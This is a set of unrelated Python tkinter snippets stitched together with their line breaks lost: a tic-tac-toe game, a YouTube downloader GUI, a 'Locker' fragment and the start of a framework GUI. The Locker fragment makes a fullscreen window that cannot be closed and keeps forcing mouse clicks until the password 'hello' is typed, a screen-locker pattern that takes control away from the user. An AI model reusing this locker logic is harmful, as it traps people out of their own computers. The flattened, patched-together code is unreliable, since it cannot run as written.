def btnClick(id): #import global variables global ActivePlayer global player1 global player2 #alternate player symbols on p if (ActivePlayer == 1): SetLayout(id, "X") player1.append(id) root.title("Tic Tac palyer 2:") ActivePlayer = 2 print("Player 1: {}".format(player1)) elif (ActivePlayer == 2): SetLayout(id, "O") player2.append(id) root.title("Tic Tac palyer 1:") ActivePlayer = 1 print("Player 1: {}".format(player1))
def clickBrowse(): location_of_download = filedialog.askdirectory() getLoc.set(location_of_download) def clickReset(): getURL.set("") getLOC.set("") listbox.delete(0, END) root = Tk() root.title('YouTube Video Downloader') root.geometry("855x500") root.resizable(False, False) headLabel = Label(root, text="YOUTUBE VIDEO DOWNLOADER", font=("Century Gothic", 25)).grid(row=0, column=1, padx=10, pady=10) urlLabel = Label(root, text="URL", font=("Century Gothic", 15)).grid(row=1, column=0, padx=10, pady=10)
def main(): root = Tk() root.title("Python Game : Player 1") #add button 1 global btn1 btn1 = ttk.Button(root, text='') btn1.grid(row=0, column=0, sticky='snew', ipadx='40', ipady='40') #call button click to refelect id: on click btn1.config(command=lambda: btnClick(1)) # add button 2 global btn2 btn2 = ttk.Button(root, text='') btn2.grid(row=0, column=1, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn2.config(command=lambda: btnClick(2)) # add button 3 global btn3 btn3 = ttk.Button(root, text='') btn3.grid(row=0, column=2, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn3.config(command=lambda: btnClick(3)) # add button 4 global btn4 btn4 = ttk.Button(root, text='') btn4.grid(row=1, column=0, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn4.config(command=lambda: btnClick(4)) # add button 5 global btn5 btn5 = ttk.Button(root, text='') btn5.grid(row=1, column=1, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn5.config(command=lambda: btnClick(5)) # add button 6 global btn6 btn6 = ttk.Button(root, text='') btn6.grid(row=1, column=2, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn6.config(command=lambda: btnClick(6)) # add button 7 global btn7 btn7 = ttk.Button(root, text='') btn7.grid(row=2, column=0, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn7.config(command=lambda: btnClick(7)) # add button 8 global btn8 btn8 = ttk.Button(root, text='') btn8.grid(row=2, column=1, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn8.config(command=lambda: btnClick(8)) # add button 9 global btn9 btn9 = ttk.Button(root, text='') btn9.grid(row=2, column=2, sticky='snew', ipadx='40', ipady='40') # call button click to refelect id: on click btn9.config(command=lambda: btnClick(9)) root.mainloop()
global k, entry if entry.get() == 'hello': k = True def on_closing(): click(675, 420) moveTo(675, 420) root.attributes('-fullscreen', True) root.protocol('WM_DELETE_WINDOW', on_closing) root.update() root.bind('<Control-KeyPress-c>', callback) root = Tk() root.title("Locker") root.attributes('-fullscreen', True) entry = Entry(root, font=1 ) entry.place(width=150, height=50, x=600, y=400) Label0 = Label(root, text='Locker_test', font=1) Label0.grid(row=0, column=0) Label1 = Label(root, text='Type password and press ctrl+c', font=3) Label1.place(x=470, y=300) root.update() # root.sleep(0.2) click(675, 420) k = False while k != True: on_closing()
import tkinter.font as tkFont from query_gui import QueryGUI from populate_gui import PopulateGUI root = tk.Tk() #root.geometry("700x500") default_font = tkFont.nametofont("TkDefaultFont") default_font.configure(family="Segoe Script", size = 12) root.option_add("*Font", default_font) root.title("CURIOCITY FRAMEWORK v0.3") img = PhotoImage(file='img/curiocity.png') root.tk.call('wm', 'iconphoto', root._w, img) s = ttk.Style() s.configure('Cyan.TNotebook', background="#00C3AF") s.configure('Blue.TNotebook', background="#2494CC") s.configure('Dark.TNotebook', background="#1F3D51") s.configure("TEntry",background="black", disabledbackground="lightgray") root.tk_setPalette(background='#F5F5F5', foreground='black', activeBackground='white', activeForeground='#1F3D51') class MainApplication(tk.Frame): def __init__(self, parent : tk.Tk):